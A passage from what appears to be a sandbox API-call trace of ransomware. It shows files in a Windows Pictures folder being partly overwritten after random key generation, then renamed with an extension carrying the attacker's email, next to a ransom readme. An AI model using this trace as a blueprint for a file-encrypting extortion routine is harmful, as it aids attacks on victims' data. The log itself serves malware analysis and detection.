nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfebfafc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfebfafc*=0x4, lpOverlapped=0x0) returned 1 [0066.110] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfebfafc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfebfafc*=0x6c, lpOverlapped=0x0) returned 1 [0066.110] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfebfafc, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0xfebfafc*=0x20, lpOverlapped=0x0) returned 1 [0066.110] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfebfafc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfebfafc*=0x4, lpOverlapped=0x0) returned 1 [0066.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0066.111] CloseHandle (hObject=0x7c8) returned 1 [0066.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x3486220 [0066.113] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp" [0066.113] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" [0066.113] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.114] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.114] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp", dwFileAttributes=0x20) returned 0 [0066.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0066.114] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.114] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.114] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0066.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430d88) returned 1 [0066.114] RtlExitUserThread (Status=0x1) Thread: id = 354 os_tid = 0x3fc [0066.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481f78 [0066.127] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures" [0066.127] wcscat (in: _Dest=0x3481f78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\" [0066.127] wcscat (in: _Dest=0x3481f78, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*" [0066.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0066.127] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434468 [0066.128] wcscmp (_String1=".", _String2=".") returned 0 [0066.128] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.128] wcscmp (_String1="..", _String2=".") returned 1 [0066.128] wcscmp (_String1="..", _String2="..") returned 0 [0066.128] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.128] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0066.128] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0066.128] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0066.128] FindClose (in: hFindFile=0x3434468 | out: hFindFile=0x3434468) returned 1 [0066.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0066.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0066.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e90) returned 1 [0066.129] RtlExitUserThread (Status=0x0) Thread: id = 355 os_tid = 0x4a8 [0066.130] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png")) returned 0x20 [0066.130] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png", dwFileAttributes=0x20) returned 1 [0066.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.131] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xffbf944 | out: lpFileSize=0xffbf944*=35373) returned 1 [0066.131] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x8a29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.131] ReadFile (in: hFile=0x7c8, lpBuffer=0xffbf918, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xffbf914, lpOverlapped=0x0 | out: lpBuffer=0xffbf918*, lpNumberOfBytesRead=0xffbf914*=0x4, lpOverlapped=0x0) returned 1 [0066.131] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0066.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0066.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0066.131] NtQuerySystemTime (in: CurrentTime=0xffbf8f0 | out: CurrentTime=0xffbf8f0*=132121176240268387) returned 0x0 [0066.131] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x58d6dbfb [0066.131] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x9451e75f [0066.131] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x5be880b5 [0066.131] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x3772b795 [0066.131] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x695d8f1b [0066.131] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0xe55f6295 [0066.131] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x362cef8d [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x6791df61 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x92fa173e [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x19463776 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0xbfe159ec [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x930ed71 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0xf14cff95 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x9ba4d887 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x93729708 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0xab6e1943 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x46eddc28 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x603d271e [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x549f4dab [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x2883268b [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x1ce26d9b [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0xe2ace6cc [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x11fa85b8 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x7f134293 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x830254e5 [0066.132] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x48a04a82 [0066.133] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x7091cb00 [0066.133] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x1151e27b [0066.133] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x484be0ca [0066.133] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x6e373242 [0066.133] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x8d08f3b6 [0066.133] RtlRandom (in: Seed=0xffbf8fc | out: Seed=0xffbf8fc) returned 0x18d9c705 [0066.147] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.147] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xffbf8c8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xffbf8c8*=0x4096, lpOverlapped=0x0) returned 1 [0066.147] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.148] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.148] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.148] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.148] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xffbf8c8, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xffbf8c8*=0x4096, lpOverlapped=0x0) returned 1 [0066.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.150] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x8a2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.150] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xffbf900, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0xffbf900*=0x20, lpOverlapped=0x0) returned 1 [0066.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.150] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xffbf914, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0xffbf914*=0x8, lpOverlapped=0x0) returned 1 [0066.150] WriteFile (in: hFile=0x7c8, lpBuffer=0xffbf92c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xffbf914, lpOverlapped=0x0 | out: lpBuffer=0xffbf92c*, lpNumberOfBytesWritten=0xffbf914*=0x4, lpOverlapped=0x0) returned 1 [0066.150] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xffbf914, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xffbf914*=0x4, lpOverlapped=0x0) returned 1 [0066.151] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xffbf914, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xffbf914*=0x6c, lpOverlapped=0x0) returned 1 [0066.155] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xffbf914, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xffbf914*=0x20, lpOverlapped=0x0) returned 1 [0066.155] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xffbf914, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xffbf914*=0x4, lpOverlapped=0x0) returned 1 [0066.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0066.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0066.156] CloseHandle (hObject=0x7c8) returned 1 [0066.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb270 [0066.158] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png") returned="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png" [0066.158] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" [0066.158] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.158] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0066.159] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png", dwFileAttributes=0x20) returned 0 [0066.159] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0066.159] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.159] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.159] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0066.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481b58) returned 1 [0066.159] RtlExitUserThread (Status=0x1) Thread: id = 356 os_tid = 0x6d8 [0066.160] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png")) returned 0x20 [0066.160] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png", dwFileAttributes=0x20) returned 1 [0066.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.160] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x1003fc38 | out: lpFileSize=0x1003fc38*=38891) returned 1 [0066.161] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x97e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.161] ReadFile (in: hFile=0x7c8, lpBuffer=0x1003fc0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1003fc08, lpOverlapped=0x0 | out: lpBuffer=0x1003fc0c*, lpNumberOfBytesRead=0x1003fc08*=0x4, lpOverlapped=0x0) returned 1 [0066.161] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0066.161] NtQuerySystemTime (in: CurrentTime=0x1003fbe4 | out: CurrentTime=0x1003fbe4*=132121176240497217) returned 0x0 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x66d608a7 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x20757d39 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xd8d07eee [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xb86458cf [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xbbf819cc [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x36d961d0 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x735d9964 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x87870b0f [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x97686a8 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x265c3845 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x882a7176 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x7e8faed8 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xba871c40 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xba928b04 [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x5e19603b [0066.161] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xa8886e8a [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x3d8e72d3 [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x7b5e6c6e [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x654a1105 [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xf633df18 [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x37bcfa0e [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x292c54ad [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xf36559e4 [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x4d15dba1 [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x7ea11eb [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x7db4bcc [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xa97b660b [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0xecf298ea [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x13cf484c [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x10ad94d0 [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x9112ebe1 [0066.162] RtlRandom (in: Seed=0x1003fbf0 | out: Seed=0x1003fbf0) returned 0x76766a0c [0066.174] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.174] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1003fbbc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1003fbbc*=0x4096, lpOverlapped=0x0) returned 1 [0066.174] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0066.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0066.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0066.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0066.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0066.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.175] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1003fbbc, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0x1003fbbc*=0x4096, lpOverlapped=0x0) returned 1 [0066.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.176] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x97eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.176] WriteFile (in: hFile=0x7c8, lpBuffer=0x33effb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1003fbf4, 